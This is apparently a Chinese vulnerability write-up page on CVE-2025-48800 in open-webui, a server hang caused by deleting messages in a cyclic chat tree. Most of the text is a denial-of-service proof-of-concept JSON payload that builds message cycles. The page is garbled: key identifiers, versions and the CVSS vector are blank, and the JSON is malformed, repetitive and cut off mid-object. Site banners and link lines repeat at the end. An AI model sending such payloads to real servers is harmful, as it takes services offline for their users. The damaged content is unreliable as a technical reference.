open-webuil 循环引用致服务器挂起漏洞 CVE-2025-48800

漏洞总结 漏洞概述 标题：任何已认证用户都可以通过在循环聊天树中删除消息来使服务器挂起 严重程度：中危（CVSS 6.5 / 10） 根因：聊天历史消息删除器（ 中的 ）在删除消息后，会沿 链接向下遍历，但未记录已访问的节点。当聊天树中存在循环引用（cycle）时，遍历会无限循环，导致该请求所在的异步事件循环被阻塞，从而挂起整个服务器（包括未认证端点如 和 ）。 触发条件：默认 角色（无管理员权限、无额外权限、无配置变更、无非默认设置）即可创建和删除聊天，攻击者只需知道聊天 ID 和消息 ID。 影响范围 受影响版本： 补丁版本： 受影响组件： （Python 包） CVSS 向量： CVE： CWE：CWE-825 修复方案 在 0.11.1 中修复：遍历过程会记录已传递的 ID，使遍历在最多一个步骤内终止，从而彻底解决该问题（包括在受影响版本中存储的聊天）。 POC / 利用代码 构造循环聊天树（默认用户，运行中的实例，存储约 300 条消息，消息互相引用形成循环）： ```json {"chat":{"title":"poc","history":[{"user":{"id":"1","role":"user","content":"a","childrenIds":["b"]},{"id":"b","parent":"a","role":"assistant","content":"b","childrenIds":["c"]},{"id":"c","parent":"b","role":"user","content":"c","childrenIds":["a"]},{"id":"a","parent":"c","role":"user","content":"a","childrenIds":["b"]},{"id":"b","parent":"a","role":"user","content":"b","childrenIds":["c"]},{"id":"c","parent":"b","role":"user","content":"c","childrenIds":["a"]},{"id":"a","parent":"c","role":"user","content":"a","childrenIds":["b"]},{"id":"b","parent":"a","role":"user","content":"b","childrenIds":["c"]},{"id":"c","parent":"b","role":"user","content":"c","childrenIds":["a"]},{"id":"a","parent":"c","role":"user","content":"a","childrenIds":["b"]},{"id":"b","parent":"a","role":"user","content":"b","childrenIds":["c"]},{"id":"c","parent":"b","role":"user","content":"c","childrenIds":["a"]},{"id":"a","parent":"c","role":"user","content":"a","childrenIds":["b"]},{"id":"b","parent":"a","role":"user","content":"b","childrenIds":["c"]},{"id":"c","parent":"b","role":"user","content":"c","childrenIds":["a"]},{"id":"a","parent":"c","role":"user","content":"a","childrenIds":["b"]},{"id":"b","parent":"a","role":"user","content":"b","childrenIds":["c"]},{"id":"c","parent":"b","role":"user","content":"c","childrenIds":["a"]},{"id":"a","parent":"c","role":"user","content":"a","childrenIds":["b"]},{"id":"b","parent":"a","role":"user","content":"b","childrenIds":["c"]},{"id":"c","parent":"b","role":"user","content":"c","childrenIds":["a"]},{"id":"a","parent":"c","role":"user","content":"a","childrenIds":["b"]},{"id":"b","parent":"a","role":"user","content":"b","childrenIds":["c"]},{"id":"c","parent":"b","role":"user","content":"c","childrenIds":["a"]},{"id":"a","parent":"c","role":"user","content":"a","childrenIds":["b"]},{"id":"b","parent":"a","role":"user","content":"b","childrenIds":["c"]},{"id":"c","parent":"b","role":"user","content":"c","childrenIds":["a"]},{"id":"a","parent":"c","role":"user","content":"a","childrenIds":["b"]},{"id":"b","parent":"a","role":"user","content":"b","childrenIds":["c"]},{"id":"c","parent":"b","role":"user","content":"c","childrenIds":["a"]},{"id":"a","parent":"c","role":"user","content":"a","childrenIds":["b"]},{"id":"b","parent":"a","role":"user","content":"b","childrenIds":["c"]},{"id":"c","parent":"b","role":"user","content":"c","childrenIds":["a"]},{"id":"a","parent":"c","role":"user","content":"a","childrenIds":["b"]},{"id":"b","parent":"a","role":"user","content":"b","childrenIds":["c"]},{"id":"c","parent":"b","role":"user","content":"c","childrenIds":["a"]},{"id":"a","parent":"c","role":"user","content":"a","childrenIds":["b"]},{"id":"b","parent":"a","role":"user","content":"b","childrenIds":["c"]},{"id":"c","parent":"b","role":"user","content":"c","childrenIds":["a"]},{"id":"a","parent":"c","role":"user","content":"a","childrenIds":["b"]},{"id":"b","parent":"a","role":"user","content":"b","childrenIds":["c"]},{"id":"c","parent":"b","role":"user","content":"c","childrenIds":["a"]},{"id":"a","parent":"c","role":"user","content":"a","childrenIds":["b"]},{"id":"b","parent":"a","role":"user","content":"b","childrenIds":["c"]},{"id":"c","parent":"b","role":"user","content":"c","childrenIds":["a"]},{"id":"a","parent":"c","role":"user","content":"a","childrenIds":["b"]},{"id":"b","parent":"a","role":"user","content":"b","childrenIds":["c"]},{"id":"c","parent":"b","role":"user","content":"c","childrenIds":["a"]},{"id":"a","parent":"c","role":"user","content":"a","childrenIds":["b"]},{"id":"b","parent":"a","role":"user","content":"b","childrenIds":["c"]},{"id":"c","parent":"b","role":"user","content":"c","childrenIds":["a"]},{"id":"a","parent":"c","role":"user","content":"a","childrenIds":["b"]},{"id":"b","parent":"a","role":"user","content":"b","childrenIds":["c"]},{"id":"c","parent":"b","role":"user","content":"c","childrenIds":["a"]},{"id":"a","parent":"c","role":"user","content":"a","childrenIds":["b"]},{"id":"b","parent":"a","role":"user","content":"b","childrenIds":["c"]},{"id":"c","parent":"b","role":"user","content":"c","childrenIds":["a"]},{"id":"a","parent":"c","role":"user","content":"a","childrenIds":["b"]},{"id":"b","parent":"a","role":"user","content":"b","childrenIds":["c"]},{"id":"c","parent":"b","role":"user","content":"c","childrenIds":["a"]},{"id":"a","parent":"c","role":"user","content":"a","childrenIds":["b"]},{"id":"b","parent":"a","role":"user","content":"b","childrenIds":["c"]},{"id":"c","parent":"b","role":"user","content":"c",

目标达成感谢每一位支持者 — 我们达成了 100% 目标！

open-webuil 循环引用致服务器挂起漏洞 CVE-2025-48800

同源更多文章

目标达成 感谢每一位支持者 — 我们达成了 100% 目标！

open-webuil 循环引用致服务器挂起漏洞 CVE-2025-48800

同源更多文章

目标达成感谢每一位支持者 — 我们达成了 100% 目标！